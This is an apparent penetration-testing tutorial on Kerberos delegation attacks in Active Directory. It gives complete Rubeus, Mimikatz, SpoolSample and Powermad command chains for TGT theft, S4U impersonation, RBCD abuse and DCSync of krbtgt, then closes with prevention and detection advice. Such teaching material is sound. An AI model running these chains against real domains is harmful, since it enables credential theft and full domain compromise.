1. Understanding the Three Delegation Types

Delegation exists to solve a real problem: a web application needs to query a database on behalf of the logged-in user. Without delegation, the web server can't pass the user's identity to the database. With delegation, it can impersonate the user and act on their behalf.

Unconstrained Delegation

The most permissive form. The delegating server receives a copy of the user's TGT in the service ticket. It can then impersonate the user to any service in the domain — no restrictions. The TGT is stored in LSASS memory on the delegating server.

Constrained Delegation

Limited to specific services. Configured via msDS-AllowedToDelegateTo. Uses two Kerberos extensions: S4U2Self (impersonate a user to itself) and S4U2Proxy (impersonate a user to a specific service). Does not require the user's TGT.

Resource-Based Constrained Delegation (RBCD)

Introduced in Windows 2012. The trust is configured on the resource (target) rather than the delegator. The target machine's msDS-AllowedToActOnBehalfOfOtherIdentity attribute specifies which machines can delegate to it. Configurable by anyone with write access to the target computer object.


2. Unconstrained Delegation — TGT Theft & Printer Bug

Servers with unconstrained delegation enabled receive a copy of the connecting user's TGT in every service ticket. If a Domain Admin (or any privileged user) authenticates to such a server, their TGT lands in LSASS memory. You extract it and impersonate the DA.

2.1 Finding Servers with Unconstrained Delegation
# Find all computers with unconstrained delegation (excluding DCs — they always have it)
PS C:\AD\Tools> Get-DomainComputer -UnConstrained | select name, dnshostname

# Example output:
name              dnshostname
----              -----------
MASAAKI-WEBAPP01  masaaki-webapp01.masaaki-corp.local

# Also check user accounts with unconstrained delegation
PS C:\AD\Tools> Get-DomainUser -AllowDelegation | select samaccountname
2.2 TGT Theft — Waiting for a Privileged User

You've compromised masaaki-webapp01 which has unconstrained delegation. Now you wait for a privileged user to authenticate to it, then steal their TGT from LSASS memory.

# On masaaki-webapp01 — monitor for new TGTs in LSASS (run as admin)
PS C:\AD\Tools> . .\Invoke-Mimikatz.ps1

# Export all current tickets (run periodically)
PS C:\AD\Tools> Invoke-Mimikatz -Command '"sekurlsa::tickets /export"'

# Look for TGTs belonging to privileged accounts
PS C:\AD\Tools> dir | Where-Object { $_.Name -match "krbtgt" }

# Using Rubeus — monitor for new TGTs in real time
C:\AD\Tools> .\Rubeus.exe monitor /interval:5 /nowrap
# Outputs base64-encoded tickets as they appear — copy and inject on your machine

# Inject the captured TGT
C:\AD\Tools> .\Rubeus.exe ptt /ticket:<base64-ticket>

# Or inject from a .kirbi file
PS C:\AD\Tools> Invoke-Mimikatz -Command '"kerberos::ptt [email protected]"'
2.3 Printer Bug (SpoolSample) — Forcing the DC to Authenticate

Don't want to wait? The Printer Bug (MS-RPRN) is a feature (not a bug) in the Windows Print Spooler service. Any authenticated domain user can call RpcRemoteFindFirstPrinterChangeNotification on a remote machine and force it to authenticate back to a specified target via Kerberos. If you force the Domain Controller to authenticate to your unconstrained delegation server, the DC's TGT lands in your LSASS — and a DC TGT = full domain compromise.

# On masaaki-webapp01 (unconstrained delegation server) — start Rubeus monitor
C:\AD\Tools> .\Rubeus.exe monitor /interval:5 /nowrap

# From ANY domain machine — trigger the DC to authenticate to masaaki-webapp01
C:\AD\Tools> .\MS-RPRN.exe \\masaaki-dc.masaaki-corp.local \\masaaki-webapp01.masaaki-corp.local

# Or using SpoolSample
C:\AD\Tools> .\SpoolSample.exe masaaki-dc masaaki-webapp01

# Rubeus captures the DC's TGT — inject it
C:\AD\Tools> .\Rubeus.exe ptt /ticket:<base64-dc-tgt>

# Now run DCSync using the DC's machine account identity
PS C:\AD\Tools> .\Mimikatz.exe "lsadump::dcsync /user:masaaki-corp\krbtgt /domain:masaaki-corp.local" exit
This is instant Domain Admin: The DC machine account has replication rights — it IS a DC from AD's perspective. With the DC's TGT, you can DCSync any hash in the domain. The Printer Bug still works on fully patched Windows Server 2019/2022 unless the Print Spooler service is disabled.

3. Constrained Delegation — S4U2Self & S4U2Proxy Abuse

Constrained delegation restricts which services the delegating account can impersonate users to. The account's msDS-AllowedToDelegateTo attribute lists specific SPNs. Two Kerberos extensions make this work: S4U2Self (allows the service to get a TGS for itself on behalf of any user) and S4U2Proxy (uses that TGS to get a TGS for the allowed target service).

3.1 Finding Accounts with Constrained Delegation
# Find user accounts with constrained delegation configured
PS C:\AD\Tools> Get-DomainUser -TrustedToAuth | select samaccountname, msds-allowedtodelegateto

# Find computer accounts with constrained delegation
PS C:\AD\Tools> Get-DomainComputer -TrustedToAuth | select name, msds-allowedtodelegateto

# Example output:
samaccountname    msds-allowedtodelegateto
--------------    --------------------------
masaaki_web_svc   {MSSQLSvc/masaaki-mssql.masaaki-corp.local:1433}

# masaaki_web_svc can impersonate any user to the SQL service on masaaki-mssql
3.2 Abusing Constrained Delegation with Kekeo / Rubeus

Scenario: You have the NTLM hash (or password) for masaaki_web_svc. This account is configured for constrained delegation to MSSQLSvc/masaaki-mssql. Use S4U2Self + S4U2Proxy to get a TGS as the Domain Administrator to the SQL service.

# Step 1: Get a TGT for masaaki_web_svc using its hash
C:\AD\Tools> .\Rubeus.exe asktgt /user:masaaki_web_svc /domain:masaaki-corp.local /rc4:3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e /nowrap

# Step 2: Use S4U2Self + S4U2Proxy to get a TGS as Administrator to the SQL service
C:\AD\Tools> .\Rubeus.exe s4u /ticket:<base64-tgt> /impersonateuser:Administrator /msdsspn:"MSSQLSvc/masaaki-mssql.masaaki-corp.local:1433" /ptt

# The ticket is injected — access the SQL server as Administrator
PS C:\AD\Tools> Invoke-Command -ComputerName masaaki-mssql -ScriptBlock { whoami }
masaaki-corp\administrator
SPN substitution trick: If the delegation is configured for MSSQLSvc/masaaki-mssql:1433, you can often substitute the service type for cifs or host while keeping the same server name. This gives you file system / PS Remoting access instead of just SQL. Many servers accept tickets with alternate service types for the same host.
# Substitute CIFS to get file system access on the same server
C:\AD\Tools> .\Rubeus.exe s4u /ticket:<base64-tgt> /impersonateuser:Administrator /msdsspn:"cifs/masaaki-mssql.masaaki-corp.local" /altservice:cifs /ptt

# Access the server's file system
PS C:\AD\Tools> dir \\masaaki-mssql\C$
3.3 Constrained Delegation on Computer Accounts

If a computer account has constrained delegation, you need SYSTEM on that machine (not just the hash). From SYSTEM, request the TGT using the machine account credentials.

# From SYSTEM on masaaki-webapp01 — request TGT for the machine account
C:\AD\Tools> .\Rubeus.exe tgtdeleg /nowrap

# This requests a TGT using the machine's Kerberos credentials
# Then S4U2Self + S4U2Proxy as Administrator
C:\AD\Tools> .\Rubeus.exe s4u /ticket:<base64-machine-tgt> /impersonateuser:Administrator /msdsspn:"cifs/masaaki-dc.masaaki-corp.local" /ptt

# Access the DC
PS C:\AD\Tools> dir \\masaaki-dc\C$

4. Resource-Based Constrained Delegation (RBCD)

RBCD flips the delegation model. Instead of the delegating account specifying where it can delegate to, the target machine specifies who can delegate to it via the msDS-AllowedToActOnBehalfOfOtherIdentity attribute. Crucially, this attribute can be written by anyone with GenericWrite, GenericAll, or Write rights on the target computer object — which your ACL enumeration from Blog 1 may have found.

4.1 Finding Machines Where You Have Write Permissions
# Find computer objects where masaaki (or a controlled group) has write rights
PS C:\AD\Tools> Find-InterestingDomainAcl -ResolveGUIDs | ?{
    $_.IdentityReferenceName -match "masaaki" -and
    $_.ActiveDirectoryRights -match "Write|GenericAll|GenericWrite"
} | select ObjectDN, ActiveDirectoryRights

# Example: masaaki has GenericWrite on masaaki-srv01
# BloodHound shows the same — look for GenericWrite edges on computer objects
4.2 Full RBCD Exploitation Chain

To exploit RBCD you need a computer account you control (its NTLM hash). You can create one — domain users can create up to 10 computer accounts by default (controlled by ms-DS-MachineAccountQuota).

  1. Create a controlled computer account (or use one you already control):
    # Create a fake computer account masaaki-fake-pc with password Masaaki@2026
    PS C:\AD\Tools> . .\Powermad.ps1
    PS C:\AD\Tools> New-MachineAccount -MachineAccount masaaki-fake-pc -Password $(ConvertTo-SecureString 'Masaaki@2026' -AsPlainText -Force) -Verbose
    
    # Get the SID of the new computer account
    PS C:\AD\Tools> Get-DomainComputer masaaki-fake-pc | select objectsid
    S-1-5-21-719815819-3726368948-3917688648-7777
    
  2. Set msDS-AllowedToActOnBehalfOfOtherIdentity on the target (masaaki-srv01):
    # Build the security descriptor containing masaaki-fake-pc's SID
    PS C:\AD\Tools> $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-719815819-3726368948-3917688648-7777)"
    PS C:\AD\Tools> $SDBytes = New-Object byte[] ($SD.BinaryLength)
    PS C:\AD\Tools> $SD.GetBinaryForm($SDBytes, 0)
    
    # Write the attribute to masaaki-srv01 (masaaki has GenericWrite on it)
    PS C:\AD\Tools> Get-DomainComputer masaaki-srv01 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
    
    # Verify
    PS C:\AD\Tools> $RawBytes = Get-DomainComputer masaaki-srv01 -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -Expand msds-allowedtoactonbehalfofotheridentity
    PS C:\AD\Tools> (New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0).DiscretionaryAcl
    
  3. Get the NTLM hash of masaaki-fake-pc:
    PS C:\AD\Tools> .\Rubeus.exe hash /password:Masaaki@2026 /user:masaaki-fake-pc$ /domain:masaaki-corp.local
    rc4_hmac : A1B2C3D4E5F6A7B8C9D0E1F2A3B4C5D6
    
  4. S4U2Self + S4U2Proxy — impersonate Administrator to masaaki-srv01:
    # Get TGT for masaaki-fake-pc
    C:\AD\Tools> .\Rubeus.exe asktgt /user:masaaki-fake-pc$ /rc4:A1B2C3D4E5F6A7B8C9D0E1F2A3B4C5D6 /domain:masaaki-corp.local /nowrap
    
    # S4U2Self + S4U2Proxy to impersonate Administrator on masaaki-srv01
    C:\AD\Tools> .\Rubeus.exe s4u /ticket:<base64-tgt> /impersonateuser:Administrator /msdsspn:"cifs/masaaki-srv01.masaaki-corp.local" /ptt
    
    # Access masaaki-srv01 as Domain Admin
    PS C:\AD\Tools> dir \\masaaki-srv01\C$
    PS C:\AD\Tools> Enter-PSSession -ComputerName masaaki-srv01
    
RBCD is extremely powerful because: It only requires write access to a single computer object — which is a much lower bar than DA. Many misconfigured environments grant helpdesk or developer groups write access to specific computer OUs for management purposes. BloodHound reveals these GenericWrite edges instantly.

5. Prevention & Detection

Disable the Print Spooler Service

The Printer Bug (SpoolSample) requires the Spooler service. Disable it on all DCs via GPO: Computer Configuration → Windows Settings → Security Settings → System Services → Print Spooler → Disabled.

Mark DCs as Sensitive Accounts

Enable "Account is sensitive and cannot be delegated" on all DC accounts. DC machine accounts should never be seen in unconstrained delegation scenarios.

Reduce MachineAccountQuota to 0

Set ms-DS-MachineAccountQuota to 0 on the domain object to prevent standard users from creating computer accounts. RBCD exploitation requires a controlled computer account.

Audit Constrained Delegation Targets

Review all accounts with msDS-AllowedToDelegateTo set. Any service account with delegation to a DC (e.g. LDAP, CIFS on a DC) should be removed immediately — it allows full domain compromise via S4U.

Monitor msDS-AllowedToActOnBehalfOfOtherIdentity Changes

Alert on event 5136 (Directory Service Object Modification) targeting this attribute. Changes here that aren't made by a DC or domain admin are highly suspicious RBCD setup.

Protected Users Group

Members of the Protected Users group cannot be delegated. Add all privileged accounts (DAs, EAs, service accounts) to this group. This prevents both unconstrained and constrained delegation from working against them.